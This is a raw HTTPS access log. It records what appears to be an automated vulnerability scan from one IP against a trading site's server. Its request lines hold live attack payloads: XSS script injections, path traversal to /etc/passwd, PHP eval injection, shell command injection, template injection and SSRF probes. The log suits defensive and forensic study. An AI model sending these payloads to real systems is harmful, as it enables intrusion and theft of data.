[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://172.16.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/properties.ini HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.sql HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?arg1=YWRtaW4%3D&arg2=dGltZWtlZXBlcg%3D%3D HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/jsp/security/protected/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.putty/trade.kingston.com.hk:443.ppk HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Account/Login HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/manager/html HTTP/1.1" 226
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.license/licenses/verify HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //xampp/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?f=\\[ HTTP/1.1" 3426
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mobile/api/api.ali.php HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docs/ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/servlets/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:10:52:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927404506 HTTP/1.1" -
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /teampass HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/login_code.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login_check.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/inc/get_contactlist.php?P=1&KWORD=%25&isuser_info=3 HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/retrieve_pwd/header.inc.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ispirit/interface/gateway.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webviewer?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-login.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/userinfo.php?UID=1 HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/document/index.php/recv/register/insert HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tox.ini HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/console HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.travis.yml HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/file_folder/swfupload_new.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Trace.axd HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /responsiveUI/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pinfo.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /moto/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/sessions/signin HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /transmission/web/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpmyadmin/setup/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(31337)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://172.16.0.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ViewPoint/admin/Site/ViewPointLogin HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hoteldruid/inizio.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/jsp/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpMyAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /register/?redirect_to=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/install/install.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ispirit/interface/gateway.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /templates/config/profmanage.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ueditor/net/controller.ashx?action=catchimage&encode=utf-8 HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/forgetpswd.php?loginsys=1&loginname=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inc/package/work.php?id=../../../../../myoa/attach/approve_center/2601/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4 HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/auth/login HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search?search_key=%7B%7B1337*1338%7D%7D HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /overview.html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/install.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RServer/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:421655/?1.png HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sphinx/sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui.js HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umbraco HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/bi_design/appcenter/report_bi.func.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v2/keys/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/logs/sendmail.log HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/XUI/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.tugboat HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hui/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27q%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27s%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27search%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27id%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27action%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27keyword%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27query%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27page%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27keywords%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27url%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27view%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27cat%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27name%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27key%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27p%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/security.yml HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spotfire/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /examples/jsp/security/protected/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyBtZDUoOTk5OTk5OTk5KTs=%22)))%3B/*&id=19&module=Carouselimage HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CxxoP1TtU8ATihpIpCGHd2Vd.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data.sql HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/..;/manager/html;/ HTTP/1.1" 226
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy4ki3ALdUCwIGeHEUvvUlFg.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ucmdb-ui/cms/loginRequest.do; HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.txt HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /desktopmodules/telerikwebui/radeditorprovider/telerik.web.ui.dialoghandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /squirrelmail/src/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-ajax_services.php?controller=comment&action=list&type=wiki+page&objectId=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/Home/uploadify/fileList?type=.+&path=../../../ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20echo%20%27380Cxfvhdv14dY2mchs8MPgssdl%27%20%3E%20/var/www/html/config_application.txt%0a HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authenticate HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.report/reports HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy4nhVYAyKRIq5bKWjsyiZmx HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1337.txt HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upgrade.php HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/sysext/install/composer.json HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/welcome?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /grid/console HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=380Cy4TMblXig1cGSPgFcTeU2Wx&c=380Cy4TMblXig1cGSPgFcTeU2Wx&a=380Cy4TMblXig1cGSPgFcTeU2Wx&m=380Cy4TMblXig1cGSPgFcTeU2Wx HTTP/1.1" 3426
